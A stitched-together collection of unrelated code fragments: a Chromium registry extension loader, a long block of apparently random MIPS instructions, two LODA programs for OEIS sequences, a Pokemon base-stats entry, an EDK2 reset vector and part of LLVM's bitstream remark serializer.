LOCAL_HISTOGRAM_TIMES("Extensions.ExternalRegistryLoaderWin",
base::TimeTicks::Now() - start_time);
content::GetUIThreadTaskRunner({})->PostTask(
FROM_HERE,
base::BindOnce(
&ExternalRegistryLoader::CompleteLoadAndStartWatchingRegistry, this,
std::move(prefs)));
}
void ExternalRegistryLoader::CompleteLoadAndStartWatchingRegistry(
std::unique_ptr<base::DictionaryValue> prefs) {
DCHECK_CURRENTLY_ON(BrowserThread::UI);
DCHECK(prefs);
LoadFinished(std::move(prefs));
// Attempt to watch registry if we haven't already.
if (attempted_watching_registry_)
return;
LONG result = ERROR_SUCCESS;
if ((result = hklm_key_.Create(HKEY_LOCAL_MACHINE, kRegistryExtensions,
KEY_NOTIFY | KEY_WOW64_32KEY)) ==
ERROR_SUCCESS) {
base::win::RegKey::ChangeCallback callback =
base::BindOnce(&ExternalRegistryLoader::OnRegistryKeyChanged,
base::Unretained(this), base::Unretained(&hklm_key_));
hklm_key_.StartWatching(std::move(callback));
} else {
LOG(WARNING) << "Error observing HKLM: " << result;
}
if ((result = hkcu_key_.Create(HKEY_CURRENT_USER, kRegistryExtensions,
KEY_NOTIFY)) == ERROR_SUCCESS) {
base::win::RegKey::ChangeCallback callback =
base::BindOnce(&ExternalRegistryLoader::OnRegistryKeyChanged,
base::Unretained(this), base::Unretained(&hkcu_key_));
hkcu_key_.StartWatching(std::move(callback));
} else {
LOG(WARNING) << "Error observing HKCU: " << result;
}
attempted_watching_registry_ = true;
}
void ExternalRegistryLoader::OnRegistryKeyChanged(base::win::RegKey* key) {
// |OnRegistryKeyChanged| is removed as an observer when the ChangeCallback is
// called, so we need to re-register.
key->StartWatching(
base::BindOnce(&ExternalRegistryLoader::OnRegistryKeyChanged,
base::Unretained(this), base::Unretained(key)));
GetOrCreateTaskRunner()->PostTask(
FROM_HERE,
base::BindOnce(&ExternalRegistryLoader::UpatePrefsOnBlockingThread,
this));
}
scoped_refptr<base::SequencedTaskRunner>
ExternalRegistryLoader::GetOrCreateTaskRunner() {
if (!task_runner_.get()) {
task_runner_ = base::ThreadPool::CreateSequencedTaskRunner(
{// Requires I/O for registry.
base::MayBlock(),
// Inherit priority.
base::TaskShutdownBehavior::SKIP_ON_SHUTDOWN});
}
return task_runner_;
}
void ExternalRegistryLoader::UpatePrefsOnBlockingThread() {
DCHECK(task_runner_);
DCHECK(task_runner_->RunsTasksInCurrentSequence());
base::TimeTicks start_time = base::TimeTicks::Now();
std::unique_ptr<base::DictionaryValue> prefs = LoadPrefsOnBlockingThread();
LOCAL_HISTOGRAM_TIMES("Extensions.ExternalRegistryLoaderWinUpdate",
base::TimeTicks::Now() - start_time);
content::GetUIThreadTaskRunner({})->PostTask(
FROM_HERE, base::BindOnce(&ExternalRegistryLoader::OnUpdated, this,
std::move(prefs)));
}
} // namespace extensions
|
ori $ra,$ra,0xf
mfhi $5
mfhi $3
sb $0,9($0)
divu $3,$ra
mthi $2
sb $2,3($0)
addiu $4,$6,4269
lb $0,0($0)
multu $6,$5
mflo $6
mult $5,$5
lui $1,33675
mthi $4
addiu $0,$2,-32441
mthi $5
div $1,$ra
mfhi $1
mult $4,$4
mfhi $4
lui $5,15601
mthi $5
sb $4,10($0)
lui $4,54564
sll $5,$1,11
div $5,$ra
lb $4,0($0)
mult $4,$5
sb $4,10($0)
lb $3,8($0)
lui $0,44009
sb $1,14($0)
divu $4,$ra
mtlo $3
mfhi $2
divu $4,$ra
mflo $5
lb $3,0($0)
multu $6,$6
addu $1,$1,$6
mflo $2
divu $0,$ra
multu $5,$5
sll $5,$4,3
lb $5,8($0)
mflo $1
mfhi $5
divu $1,$ra
ori $5,$5,58111
mult $4,$4
mfhi $5
mthi $4
multu $6,$6
mflo $2
srav $5,$2,$5
div $4,$ra
multu $1,$2
mthi $1
lui $4,2383
lui $5,31886
srav $4,$1,$4
multu $4,$2
mflo $4
divu $3,$ra
mfhi $1
mtlo $4
mult $5,$5
mthi $4
srav $1,$2,$3
lb $4,6($0)
mult $3,$3
mult $5,$1
mfhi $4
mtlo $6
addu $0,$2,$4
sll $5,$5,4
divu $5,$ra
mtlo $0
addu $1,$4,$4
addiu $4,$1,-3766
addiu $0,$0,10091
sb $5,0($0)
ori $0,$4,44581
addiu $4,$1,30717
srav $1,$1,$5
srav $5,$5,$3
mfhi $4
addu $1,$4,$3
addiu $4,$5,19802
addiu $1,$6,28791
sb $1,4($0)
divu $4,$ra
multu $1,$1
mthi $4
addiu $1,$1,-7366
srav $2,$2,$2
multu $5,$4
div $6,$ra
addu $0,$6,$0
addu $0,$3,$3
sb $6,7($0)
mfhi $4
mflo $1
lb $6,9($0)
sb $4,8($0)
mtlo $5
mfhi $5
mult $1,$6
mthi $5
mtlo $2
srav $5,$5,$5
lui $1,2768
sll $2,$4,9
sll $5,$6,10
mflo $6
mflo $1
srav $4,$4,$6
mult $3,$3
sll $6,$2,7
mfhi $5
lb $3,16($0)
divu $3,$ra
sb $6,13($0)
ori $4,$1,40239
sll $5,$0,25
div $2,$ra
mult $2,$2
mtlo $4
sll $4,$2,28
mthi $0
mfhi $1
ori $4,$6,21226
multu $4,$4
multu $4,$0
mfhi $5
addiu $2,$4,-15463
addu $5,$5,$4
multu $4,$1
lb $1,2($0)
lb $6,0($0)
lb $5,11($0)
addiu $0,$5,-407
mult $5,$4
addu $3,$3,$3
addiu $1,$2,-28348
mflo $1
srav $2,$2,$2
div $0,$ra
srav $5,$4,$5
sb $4,2($0)
sb $0,6($0)
addu $1,$1,$6
div $3,$ra
mflo $5
mfhi $2
mult $6,$6
addiu $4,$4,-23441
sb $6,11($0)
addu $1,$1,$4
lb $4,6($0)
div $4,$ra
divu $5,$ra
mfhi $4
sll $5,$5,14
mflo $5
lui $1,27701
srav $1,$5,$3
addiu $4,$2,-31189
mtlo $0
mult $5,$4
lb $6,10($0)
addu $4,$4,$1
div $4,$ra
mflo $4
mflo $1
multu $2,$2
ori $4,$1,23616
mflo $4
addiu $1,$1,29500
divu $2,$ra
sll $4,$4,26
lui $0,44648
ori $6,$6,47784
divu $3,$ra
lui $0,10329
sb $6,16($0)
ori $1,$4,15977
mult $1,$2
sll $4,$5,7
mult $5,$4
sb $4,16($0)
addu $1,$5,$5
mtlo $0
ori $1,$1,1032
mtlo $4
lui $1,16524
addu $0,$4,$4
mflo $3
mthi $6
addiu $6,$4,-17771
mult $4,$4
srav $6,$5,$4
srav $1,$4,$4
mthi $6
sll $1,$1,28
addiu $5,$6,-26360
addiu $5,$5,-16691
sll $1,$1,1
divu $4,$ra
srav $2,$2,$2
lui $1,49728
multu $1,$4
lb $4,14($0)
addiu $4,$0,1703
lb $0,4($0)
ori $5,$4,18003
addu $2,$2,$4
mthi $4
addu $0,$4,$4
addu $2,$5,$2
mthi $5
addu $5,$2,$5
divu $3,$ra
addu $1,$6,$6
sll $1,$3,15
mthi $4
srav $5,$5,$5
srav $4,$5,$3
mtlo $1
addu $5,$4,$3
mfhi $4
sb $4,6($0)
lb $5,6($0)
addiu $1,$2,-24896
addiu $2,$0,15309
sb $4,8($0)
mult $1,$4
mthi $3
mtlo $1
divu $6,$ra
lb $4,4($0)
sll $1,$5,22
sb $4,11($0)
addiu $4,$1,-32666
lui $5,63345
srav $4,$0,$2
div $4,$ra
lui $6,21647
div $4,$ra
mflo $2
sb $3,14($0)
div $0,$ra
sb $0,4($0)
mfhi $0
mthi $4
mtlo $5
sb $1,8($0)
divu $1,$ra
div $1,$ra
mfhi $5
div $4,$ra
ori $5,$2,32082
multu $2,$5
addu $1,$2,$3
addu $5,$5,$4
addu $4,$2,$1
div $6,$ra
addu $1,$4,$6
mflo $5
div $1,$ra
mult $6,$2
addiu $3,$1,22898
mthi $4
mflo $4
addu $4,$4,$3
lb $1,1($0)
ori $0,$5,61392
mthi $5
divu $0,$ra
srav $4,$5,$5
sb $6,0($0)
divu $1,$ra
srav $6,$5,$3
sll $1,$1,23
mult $5,$5
lb $5,12($0)
sll $4,$2,31
mfhi $4
multu $4,$4
sll $6,$6,5
sll $1,$0,20
ori $3,$3,48607
sll $4,$2,29
divu $4,$ra
sll $4,$1,17
mflo $5
multu $1,$3
lui $5,55016
addu $2,$2,$3
sll $5,$2,4
divu $5,$ra
mfhi $6
mult $5,$2
divu $0,$ra
mtlo $1
lui $1,42729
addiu $5,$5,1399
lb $1,14($0)
divu $5,$ra
multu $5,$4
mtlo $0
lui $4,43282
lui $1,20074
mthi $4
ori $3,$5,42882
lb $5,3($0)
lui $1,35878
addu $6,$6,$6
mthi $5
divu $3,$ra
divu $4,$ra
mflo $1
sb $2,1($0)
multu $4,$6
sb $1,8($0)
mthi $5
mflo $4
multu $4,$4
mult $0,$4
mult $5,$5
addu $0,$0,$0
sb $6,15($0)
div $5,$ra
div $1,$ra
multu $6,$6
div $5,$ra
srav $5,$2,$5
lui $3,57586
sb $0,14($0)
addu $4,$4,$2
srav $3,$6,$3
mfhi $5
mflo $6
ori $4,$2,43221
mult $2,$2
addu $6,$6,$6
sb $4,3($0)
mfhi $4
multu $3,$4
srav $3,$5,$3
addu $3,$1,$3
sb $6,3($0)
sll $6,$4,10
lui $0,1950
addu $6,$5,$0
mflo $1
mflo $2
lb $1,13($0)
sll $1,$2,18
srav $4,$2,$1
mult $4,$4
addiu $0,$2,7530
srav $4,$3,$3
lui $0,13458
mtlo $6
mflo $0
mflo $6
ori $1,$1,509
addiu $1,$2,-22742
div $6,$ra
divu $6,$ra
mtlo $5
multu $3,$4
addu $4,$4,$6
mfhi $4
srav $4,$2,$5
lb $2,11($0)
mthi $4
mflo $1
addiu $4,$6,-31208
divu $5,$ra
sb $6,12($0)
mthi $5
mfhi $4
divu $2,$ra
addu $4,$4,$4
srav $4,$2,$1
multu $2,$2
sll $4,$4,19
multu $5,$4
sb $1,11($0)
multu $1,$2
srav $0,$5,$2
div $0,$ra
lui $5,24544
multu $0,$4
addu $3,$0,$3
ori $5,$1,12236
mthi $5
srav $4,$1,$2
srav $1,$3,$3
mflo $2
lui $6,52007
addiu $1,$5,-25301
multu $5,$2
mult $6,$5
addiu $1,$1,25670
mthi $4
mfhi $3
mtlo $1
sb $3,14($0)
sb $0,5($0)
addiu $6,$4,-15467
addu $3,$3,$3
sb $5,15($0)
divu $1,$ra
srav $4,$4,$4
multu $1,$3
multu $3,$5
addu $1,$1,$1
mfhi $1
addiu $5,$5,-8866
lui $4,37875
div $4,$ra
addiu $5,$4,-2994
mfhi $1
mult $5,$4
mthi $5
mfhi $1
sb $1,0($0)
multu $6,$6
sb $6,5($0)
mtlo $4
divu $2,$ra
mthi $4
mthi $4
srav $4,$2,$2
mflo $0
mflo $4
mthi $2
srav $1,$1,$6
lb $2,0($0)
srav $1,$5,$1
sll $4,$1,4
mtlo $3
lui $6,57279
mthi $1
mfhi $4
div $3,$ra
addiu $4,$4,29886
ori $1,$2,26397
divu $0,$ra
lb $4,3($0)
lb $5,9($0)
divu $3,$ra
addiu $5,$3,10665
lui $1,11608
mtlo $6
mult $1,$1
sll $1,$4,0
ori $6,$6,37446
addiu $1,$5,22259
mfhi $0
lb $5,11($0)
sll $4,$4,26
lui $0,36402
addiu $4,$2,-17434
mthi $6
addu $1,$4,$4
lui $3,15050
divu $4,$ra
lb $1,11($0)
lui $4,32582
mult $4,$0
ori $4,$4,24731
addu $3,$3,$3
addu $4,$2,$1
mflo $1
mult $0,$0
srav $4,$2,$4
lui $4,27440
divu $1,$ra
sll $2,$2,24
ori $3,$3,43901
addiu $2,$1,-13616
addu $4,$2,$4
sb $4,10($0)
addu $1,$2,$6
multu $6,$2
mfhi $5
mtlo $6
addiu $1,$2,6260
mfhi $1
sb $5,12($0)
mult $0,$0
mult $5,$4
mflo $5
lui $5,53838
multu $5,$1
mfhi $6
mflo $0
multu $0,$4
mfhi $4
mtlo $0
divu $5,$ra
sll $5,$5,9
mult $4,$2
addiu $5,$4,-3977
mfhi $1
div $0,$ra
mfhi $4
div $2,$ra
mflo $4
div $5,$ra
mthi $5
sb $1,10($0)
lui $4,6087
lui $5,49485
sb $4,12($0)
mfhi $4
lui $5,49390
divu $1,$ra
mfhi $4
mult $4,$4
divu $5,$ra
ori $2,$2,55081
sb $4,6($0)
sb $5,11($0)
lb $6,16($0)
mult $4,$2
mthi $0
mtlo $0
addu $0,$1,$6
sll $0,$4,23
ori $6,$3,59129
multu $2,$2
srav $5,$4,$6
mtlo $0
lui $1,20260
lui $1,46042
srav $5,$4,$5
srav $4,$1,$2
mthi $6
multu $4,$6
sb $5,0($0)
lui $6,26314
mthi $4
lb $5,2($0)
mfhi $0
lb $4,15($0)
mult $1,$4
mfhi $1
mfhi $4
mfhi $1
lb $0,14($0)
multu $3,$3
sb $4,7($0)
mthi $5
mult $0,$0
divu $0,$ra
srav $4,$5,$2
div $6,$ra
mfhi $1
mflo $4
mult $4,$4
sb $4,16($0)
mult $4,$2
divu $1,$ra
mflo $4
mfhi $4
srav $0,$1,$1
addiu $4,$4,-32543
multu $4,$6
mult $5,$2
sb $3,2($0)
mthi $4
srav $2,$2,$2
addiu $0,$1,22125
ori $3,$3,36572
ori $2,$2,9308
div $1,$ra
mfhi $3
addu $3,$3,$3
addu $5,$4,$5
sll $6,$4,14
ori $4,$5,28141
ori $1,$2,24754
lui $0,59052
multu $6,$1
mthi $4
ori $4,$2,58139
srav $4,$2,$2
lb $0,13($0)
srav $4,$2,$4
mthi $3
mfhi $4
ori $4,$5,10265
multu $4,$4
srav $5,$5,$3
srav $6,$2,$3
srav $5,$4,$5
mtlo $4
divu $4,$ra
lb $5,4($0)
div $0,$ra
mthi $1
addiu $4,$0,-19741
mtlo $1
mflo $3
addiu $2,$1,-2091
divu $2,$ra
div $5,$ra
mthi $6
lb $1,3($0)
mult $1,$4
divu $0,$ra
mtlo $0
div $2,$ra
lui $5,14047
sb $4,4($0)
mthi $2
mthi $1
srav $4,$2,$4
sll $4,$5,29
mult $1,$2
mfhi $6
sb $2,9($0)
sll $4,$1,2
divu $1,$ra
mult $1,$6
addu $1,$1,$1
sll $3,$4,31
sb $0,0($0)
mflo $1
mflo $3
multu $2,$2
sll $2,$2,27
mult $4,$2
lui $4,28097
sll $0,$6,24
sll $4,$2,21
divu $5,$ra
sll $4,$4,23
div $4,$ra
lui $2,44630
ori $3,$2,47364
div $5,$ra
mthi $5
mfhi $2
sll $3,$4,4
lui $5,20864
multu $5,$4
mult $5,$5
div $1,$ra
mfhi $5
sb $4,10($0)
div $2,$ra
divu $5,$ra
mult $1,$0
sll $3,$1,12
sb $2,10($0)
lui $5,50383
ori $6,$5,44178
addiu $6,$4,30670
mthi $5
addiu $5,$4,789
multu $4,$2
sll $4,$1,1
lui $4,32401
lui $3,38555
mthi $4
mflo $5
srav $0,$6,$2
div $5,$ra
sll $5,$4,22
mflo $4
srav $1,$5,$3
addiu $4,$5,-9887
mflo $4
mtlo $1
multu $1,$4
lui $1,12881
mult $4,$4
multu $4,$4
div $1,$ra
ori $1,$2,15634
lui $0,13664
sb $1,15($0)
sb $0,4($0)
mthi $6
addu $1,$1,$1
div $1,$ra
addiu $5,$2,19578
addiu $4,$0,-23710
lb $1,0($0)
ori $2,$6,41210
mflo $0
srav $1,$5,$5
lb $0,7($0)
addiu $4,$5,24462
sll $6,$1,25
divu $3,$ra
mflo $6
mtlo $5
ori $4,$6,31476
ori $4,$4,41228
divu $4,$ra
addu $4,$4,$4
lui $0,6087
mult $3,$5
srav $4,$4,$3
lb $2,11($0)
addiu $4,$4,19064
mthi $5
sb $3,6($0)
divu $5,$ra
sll $6,$4,8
mfhi $1
ori $4,$5,26662
divu $1,$ra
sll $6,$0,12
sb $3,15($0)
mfhi $5
mthi $3
mfhi $3
mtlo $2
mult $5,$5
mfhi $3
addu $5,$4,$4
mthi $0
mtlo $6
mult $2,$2
srav $4,$2,$2
div $2,$ra
multu $6,$1
addiu $1,$5,-22496
sb $6,12($0)
mthi $0
ori $0,$6,13760
sb $0,0($0)
sll $4,$1,4
srav $6,$6,$4
lb $2,14($0)
srav $5,$3,$3
mfhi $6
mult $4,$1
multu $3,$3
addiu $4,$4,27266
multu $6,$5
mult $6,$5
mflo $3
lui $4,56264
ori $4,$4,16124
addu $4,$5,$2
sb $0,1($0)
ori $0,$0,60952
mfhi $6
sll $6,$6,24
div $3,$ra
lb $1,10($0)
mfhi $1
sll $6,$6,31
srav $0,$0,$2
div $3,$ra
mfhi $6
mtlo $5
mthi $2
addu $2,$2,$2
mult $4,$5
divu $6,$ra
addiu $4,$6,-25557
lb $6,3($0)
mfhi $5
multu $5,$5
mflo $5
addiu $5,$2,21792
srav $2,$6,$2
multu $3,$1
mthi $5
mflo $1
lui $4,64214
mtlo $1
lui $4,44460
lui $4,16760
mthi $6
sb $5,11($0)
div $6,$ra
mult $5,$4
div $1,$ra
addiu $2,$4,-26017
sll $6,$5,22
srav $5,$4,$4
sll $3,$3,0
mult $0,$4
ori $0,$0,19019
mtlo $4
div $3,$ra
mtlo $4
lui $3,34902
divu $6,$ra
mflo $4
lb $2,0($0)
lui $1,39609
ori $1,$3,12133
divu $4,$ra
mfhi $0
sll $5,$5,26
divu $4,$ra
ori $1,$1,37186
lui $1,39999
mthi $1
addiu $4,$5,-23088
addu $3,$1,$3
mflo $4
divu $0,$ra
lb $1,5($0)
addu $5,$5,$1
sb $0,15($0)
addu $4,$2,$4
lb $1,2($0)
lui $5,56662
sb $1,11($0)
multu $4,$4
addu $6,$2,$1
srav $1,$1,$1
ori $0,$1,54963
divu $4,$ra
srav $4,$4,$4
sll $3,$4,20
mthi $0
mflo $4
multu $5,$6
mthi $3
addu $3,$0,$3
divu $1,$ra
mult $0,$5
mfhi $4
lui $3,16442
srav $1,$4,$4
mtlo $5
addu $3,$5,$3
mult $4,$4
addiu $4,$1,22329
mult $2,$2
multu $6,$4
mtlo $2
lui $4,39497
lui $4,23120
mult $5,$5
sll $2,$5,9
sb $5,7($0)
divu $4,$ra
addiu $2,$4,-6871
sb $4,3($0)
ori $2,$2,12361
mult $5,$5
multu $2,$2
mfhi $4
addiu $4,$4,-24912
mflo $4
addiu $1,$4,16599
ori $1,$1,60640
multu $2,$2
mfhi $1
mtlo $4
sb $4,15($0)
mult $2,$2
multu $4,$4
srav $4,$4,$4
lui $4,26513
lui $1,57668
divu $5,$ra
addiu $4,$4,4456
addiu $4,$4,-7983
srav $4,$1,$3
addiu $5,$5,-3738
divu $4,$ra
div $4,$ra
sll $5,$2,10
divu $5,$ra
divu $3,$ra
sll $4,$1,12
mthi $1
divu $6,$ra
mtlo $2
mult $5,$2
srav $5,$5,$5
mflo $3
sll $1,$1,9
|
; A112774: Semiprimes of the form 6n+4.
; 4,10,22,34,46,58,82,94,106,118,142,166,178,202,214,226,262,274,298,334,346,358,382,394,454,466,478,502,514,526,538,562,586,622,634,694,706,718,766,778,802,838,862,886,898,922,934,958,982,1006,1018,1042,1114,1126,1138,1174,1186,1198,1234,1282,1294,1306,1318,1354,1366,1402,1438,1486,1522,1546,1594,1618,1642,1654,1678,1714,1726,1762,1774,1822,1858,1882,1894,1906,1942,1954,1966,2026,2038,2062,2098,2122,2182,2194,2206,2218,2302,2326,2362,2374
mov $1,1
mov $2,$0
pow $2,2
add $2,1
lpb $2
sub $2,1
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,3
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
div $1,3
sub $1,2
mul $1,2
add $1,2
div $1,2
mul $1,6
add $1,4
mov $0,$1
|
db 0 ; species ID placeholder
db 80, 120, 79, 70, 95, 79
; hp atk def spd sat sdf
db ELECTRIC, ELECTRIC ; type
db 45 ; catch rate
db 235 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/luxray/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_SLOW ; growth rate
dn EGG_GROUND, EGG_GROUND ; egg groups
; tm/hm learnset
tmhm HEADBUTT, CURSE, ROAR, TOXIC, ZAP_CANNON, HIDDEN_POWER, SNORE, HYPER_BEAM, PROTECT, RAIN_DANCE, ENDURE, FRUSTRATION, IRON_TAIL, THUNDER, RETURN, MUD_SLAP, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SWIFT, DETECT, REST, ATTRACT, THIEF, FURY_CUTTER, STRENGTH, FLASH, THUNDERBOLT
; end
|
;------------------------------------------------------------------------------
; @file
; First code executed by processor after resetting.
;
; Copyright (c) 2008 - 2014, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
;------------------------------------------------------------------------------
BITS 16
ALIGN 16
;
; Pad the image size to 4k when page tables are in VTF0
;
; If the VTF0 image has page tables built in, then we need to make
; sure the end of VTF0 is 4k above where the page tables end.
;
; This is required so the page tables will be 4k aligned when VTF0 is
; located just below 0x100000000 (4GB) in the firmware device.
;
%ifdef ALIGN_TOP_TO_4K_FOR_PAGING
TIMES (0x1000 - ($ - EndOfPageTables) - 0x20) DB 0
%endif
applicationProcessorEntryPoint:
;
; Application Processors entry point
;
; GenFv generates code aligned on a 4k boundary which will jump to this
; location. (0xffffffe0) This allows the Local APIC Startup IPI to be
; used to wake up the application processors.
;
jmp EarlyApInitReal16
ALIGN 8
DD 0
;
; The VTF signature
;
; VTF-0 means that the VTF (Volume Top File) code does not require
; any fixups.
;
vtfSignature:
DB 'V', 'T', 'F', 0
ALIGN 16
resetVector:
;
; Reset Vector
;
; This is where the processor will begin execution
;
nop
nop
jmp EarlyBspInitReal16
ALIGN 16
fourGigabytes:
|
; A055461: Square decrescendo subsequences: triangle T(n,k) = (n-k)^2, n >= 1, 0 <= k < n.
; Submitted by Jamie Morken(s3.)
; 1,4,1,9,4,1,16,9,4,1,25,16,9,4,1,36,25,16,9,4,1,49,36,25,16,9,4,1,64,49,36,25,16,9,4,1,81,64,49,36,25,16,9,4,1,100,81,64,49,36,25,16,9,4,1,121,100,81,64,49,36,25,16,9,4,1,144,121,100,81,64,49,36,25,16,9,4,1,169,144,121,100,81,64,49,36,25,16,9,4,1,196,169,144,121,100,81,64,49,36
lpb $0
add $1,1
sub $0,$1
lpe
sub $1,$0
mov $0,$1
add $0,1
pow $0,2
|
//===- BitstreamRemarkSerializer.cpp --------------------------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
//
// This file provides the implementation of the LLVM bitstream remark serializer
// using LLVM's bitstream writer.
//
//===----------------------------------------------------------------------===//
#include "llvm/Remarks/BitstreamRemarkSerializer.h"
using namespace llvm;
using namespace llvm::remarks;
BitstreamRemarkSerializerHelper::BitstreamRemarkSerializerHelper(
BitstreamRemarkContainerType ContainerType)
: Bitstream(Encoded), ContainerType(ContainerType) {}
static void push(SmallVectorImpl<uint64_t> &R, StringRef Str) {
append_range(R, Str);
}
static void setRecordName(unsigned RecordID, BitstreamWriter &Bitstream,
SmallVectorImpl<uint64_t> &R, StringRef Str) {
R.clear();
R.push_back(RecordID);
push(R, Str);
Bitstream.EmitRecord(bitc::BLOCKINFO_CODE_SETRECORDNAME, R);
}
static void initBlock(unsigned BlockID, BitstreamWriter &Bitstream,
SmallVectorImpl<uint64_t> &R, StringRef Str) {
R.clear();
R.push_back(BlockID);
Bitstream.EmitRecord(bitc::BLOCKINFO_CODE_SETBID, R);
R.clear();
push(R, Str);
Bitstream.EmitRecord(bitc::BLOCKINFO_CODE_BLOCKNAME, R);
}
void BitstreamRemarkSerializerHelper::setupMetaBlockInfo() {
// Setup the metadata block.
initBlock(META_BLOCK_ID, Bitstream, R, MetaBlockName);
// The container information.
setRecordName(RECORD_META_CONTAINER_INFO, Bitstream, R,
MetaContainerInfoName);
auto Abbrev = std::make_shared<BitCodeAbbrev>();
Abbrev->Add(BitCodeAbbrevOp(RECORD_META_CONTAINER_INFO));
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::Fixed, 32)); // Version.
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::Fixed, 2)); // Type.
RecordMetaContainerInfoAbbrevID =
Bitstream.EmitBlockInfoAbbrev(META_BLOCK_ID, Abbrev);
}
void BitstreamRemarkSerializerHelper::setupMetaRemarkVersion() {
setRecordName(RECORD_META_REMARK_VERSION, Bitstream, R,
MetaRemarkVersionName);
auto Abbrev = std::make_shared<BitCodeAbbrev>();
Abbrev->Add(BitCodeAbbrevOp(RECORD_META_REMARK_VERSION));
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::Fixed, 32)); // Version.
RecordMetaRemarkVersionAbbrevID =
Bitstream.EmitBlockInfoAbbrev(META_BLOCK_ID, Abbrev);
}
void BitstreamRemarkSerializerHelper::emitMetaRemarkVersion(
uint64_t RemarkVersion) {
// The remark version is emitted only if we emit remarks.
R.clear();
R.push_back(RECORD_META_REMARK_VERSION);
R.push_back(RemarkVersion);
Bitstream.EmitRecordWithAbbrev(RecordMetaRemarkVersionAbbrevID, R);
}
void BitstreamRemarkSerializerHelper::setupMetaStrTab() {
setRecordName(RECORD_META_STRTAB, Bitstream, R, MetaStrTabName);
auto Abbrev = std::make_shared<BitCodeAbbrev>();
Abbrev->Add(BitCodeAbbrevOp(RECORD_META_STRTAB));
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::Blob)); // Raw table.
RecordMetaStrTabAbbrevID =
Bitstream.EmitBlockInfoAbbrev(META_BLOCK_ID, Abbrev);
}
void BitstreamRemarkSerializerHelper::emitMetaStrTab(
const StringTable &StrTab) {
// The string table is not emitted if we emit remarks separately.
R.clear();
R.push_back(RECORD_META_STRTAB);
// Serialize to a blob.
std::string Buf;
raw_string_ostream OS(Buf);
StrTab.serialize(OS);
StringRef Blob = OS.str();
Bitstream.EmitRecordWithBlob(RecordMetaStrTabAbbrevID, R, Blob);
}
void BitstreamRemarkSerializerHelper::setupMetaExternalFile() {
setRecordName(RECORD_META_EXTERNAL_FILE, Bitstream, R, MetaExternalFileName);
auto Abbrev = std::make_shared<BitCodeAbbrev>();
Abbrev->Add(BitCodeAbbrevOp(RECORD_META_EXTERNAL_FILE));
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::Blob)); // Filename.
RecordMetaExternalFileAbbrevID =
Bitstream.EmitBlockInfoAbbrev(META_BLOCK_ID, Abbrev);
}
void BitstreamRemarkSerializerHelper::emitMetaExternalFile(StringRef Filename) {
// The external file is emitted only if we emit the separate metadata.
R.clear();
R.push_back(RECORD_META_EXTERNAL_FILE);
Bitstream.EmitRecordWithBlob(RecordMetaExternalFileAbbrevID, R, Filename);
}
void BitstreamRemarkSerializerHelper::setupRemarkBlockInfo() {
// Setup the remark block.
initBlock(REMARK_BLOCK_ID, Bitstream, R, RemarkBlockName);
// The header of a remark.
{
setRecordName(RECORD_REMARK_HEADER, Bitstream, R, RemarkHeaderName);
auto Abbrev = std::make_shared<BitCodeAbbrev>();
Abbrev->Add(BitCodeAbbrevOp(RECORD_REMARK_HEADER));
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::Fixed, 3)); // Type
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::VBR, 6)); // Remark Name
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::VBR, 6)); // Pass name
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::VBR, 8)); // Function name
RecordRemarkHeaderAbbrevID =
Bitstream.EmitBlockInfoAbbrev(REMARK_BLOCK_ID, Abbrev);
}
// The location of a remark.
{
setRecordName(RECORD_REMARK_DEBUG_LOC, Bitstream, R, RemarkDebugLocName);
auto Abbrev = std::make_shared<BitCodeAbbrev>();
Abbrev->Add(BitCodeAbbrevOp(RECORD_REMARK_DEBUG_LOC));
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::VBR, 7)); // File
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::Fixed, 32)); // Line
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::Fixed, 32)); // Column
RecordRemarkDebugLocAbbrevID =
Bitstream.EmitBlockInfoAbbrev(REMARK_BLOCK_ID, Abbrev);
}
// The hotness of a remark.
{
setRecordName(RECORD_REMARK_HOTNESS, Bitstream, R, RemarkHotnessName);
auto Abbrev = std::make_shared<BitCodeAbbrev>();
Abbrev->Add(BitCodeAbbrevOp(RECORD_REMARK_HOTNESS));
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::VBR, 8)); // Hotness
RecordRemarkHotnessAbbrevID =
Bitstream.EmitBlockInfoAbbrev(REMARK_BLOCK_ID, Abbrev);
}
// An argument entry with a debug location attached.
{
setRecordName(RECORD_REMARK_ARG_WITH_DEBUGLOC, Bitstream, R,
RemarkArgWithDebugLocName);
auto Abbrev = std::make_shared<BitCodeAbbrev>();
Abbrev->Add(BitCodeAbbrevOp(RECORD_REMARK_ARG_WITH_DEBUGLOC));
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::VBR, 7)); // Key
Abbrev->Add(BitCodeAbbrevOp(BitCodeAbbrevOp::VBR, 7)); // Value
